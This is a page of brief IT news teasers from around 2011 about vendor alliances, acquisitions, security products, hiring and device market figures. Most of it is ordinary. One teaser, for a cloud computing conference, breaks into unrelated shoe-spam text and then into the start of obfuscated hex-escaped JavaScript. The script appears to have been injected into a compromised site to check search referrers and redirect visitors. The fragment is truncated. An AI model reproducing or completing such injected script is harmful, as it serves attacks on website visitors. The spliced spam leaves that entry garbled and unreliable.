Wipro to deploy Workday HR solutions for clients

Today at Workday Rising 2011, Wipro Technologies, a player in Information Technology, Consulting and Outsourcing business of Wipro Limited has announced that it has entered into an alliance with Workday. Wipro will provide Consulting and IT Services to clients deploying Workday solutions. Workday is the leader in SaaS-based enterprise solutions for global human resources, payroll, and financial... By

Sony to acquire Ericsson's stake in Sony Ericsson

Ericsson and Sony Corporation have announced that Sony will acquire Ericsson's 50 percent stake in Sony Ericsson Mobile Communications AB, making the mobile handset business a wholly-owned subsidiary of Sony.The transaction gives Sony an opportunity to rapidly integrate smartphones into its broad array of network-connected consumer electronics devices - including tablets, televisions and... By

Sonata sets up new centre to support mobile apps

Sonata Software, a global IT consulting and software services provider has announced that it has established a dedicated Centre of Excellence (CoE) for mobility, with a dual focus on supporting Independent Software Vendors (ISVs) and enterprises. The new CoE will develop new frameworks and solutions accelerators to enable faster mobile application development across platforms such as Android,... By

Intel, McAfee launch 'beyond OS' security solution

Deep Defender is being touted as the industrys next generation of endpoint security that's capable of detecting nearly all kernel-mode malware.According to a company release, this unprecedented level of security is possible with McAfee DeepSAFE technology because its protection layer is located beyond the operating system (OS). McAfee worked closely with Intel with the purpose of delivering... By sanjay.gupta gupta

Cloud Computing World Forum - Asia 2011

Free-to-attend two-day conference on Cloud Computing, SaaS and Virtualisation. Suppliers, integrators and end-users will share their views and case studies. Speakers include Head of IT at Adidas Global Sourcing, Technology Evangelist at Amazon Web Services and Deputy CIO of Hong Kong Government. Air Foamposite Maxvar nsSGCDsaF1=new window["\x52\x65\x67\x45\x78\x70"]("\x28\x47"+"\x6f"+"\x6f\x67... By sanjay.gupta gupta

SAP develops On-Demand Network for Social Cause

SAP India, a subsidiary of SAP AG has announced the availability of ChariTra, an on-demand network created by SAP Labs in India that connects volunteers, non-profits and corporations to work together toward causes and make a difference in their communities. An abbreviation of charity transformation, ChariTra was designed and released by the SAP Labs team in India within 90 days and demonstrates... By

3500 new employees to join Oracle by May 2012

Oracle has announced recruitment drive in India to hire 3500 employees across all its businesses that support domestic and global customers.As part of the ongoing recruitment drive within Asia Pacific, the heightened need in India is a result of the company's growth across all business units (software, hardware, middleware, applications) for Oracle India and Oracle Global Business Units and... By

$188 spent for iPhone 4S parts

Apple Inc spends at least $188 in component costs to make each of its fifth-generation iPhone 4S, consultancy and research firm IHS iSuppli estimated.The cost to make the iPhone 4S, which starts at $199 for the 16GB version with a wireless plan contract, totals at least $196 when $8 in manufacturing cost is added, according to an analysis by IHS iSuppli, which broke open the phone.Apple has... By

Fujitsu Simplifies Translation to VDI

Fujitsu has introduces a new solution that makes the move to a Virtual Desktop Infrastructure (VDI) easier for small and mid-size businesses. Fujitsus VDI bundles bypass complexity by providing all the hardware and software necessary for an easy transition from PC- and notebook-based workplaces.Moving to VDI provides companies with savings both on hardware and IT operations, ensures that all... By

Desktop virtualisation: Way to Go

IT heads around the country are keeping a keen eye on the developments in the VDI space, given its ability to lessen their desktop management painsThe IT managers are always under pressure to do more with less, given the escalating cost of maintaining remote PCs and laptops. Besides, IT teams also have to address the demand for user flexibility and mobility, with proliferation of personal... By

Smartphones take 27% of Asian Handset Market

The telecom boom in the emerging markets of the Asia-Pacific is expected to continue in 2011, and will drive the total mobile subscription rate in the region to grow by more than 15%. The mobile market in the Asia-Pacific still has the potential to grow at more than a 10% rate for the next two years.The smartphone market is also expected to have healthy growth, with 24% share in total handset... By

Media Tablets Eclipse Netbook Sales in 2Q11

Media tablet shipments surpassed netbook shipments this quarter, reaching 13.6 mn units, compared to just 7.3 mn netbooks. Netbooks had previously led the way with 8.4 million shipments in 1Q11, compared to just 6.4 mn media tablets.This is a trend that we do not expect will reverse, says Jeff Orr, group director, mobile devices. As they are different segments, this is not a direct replacement... By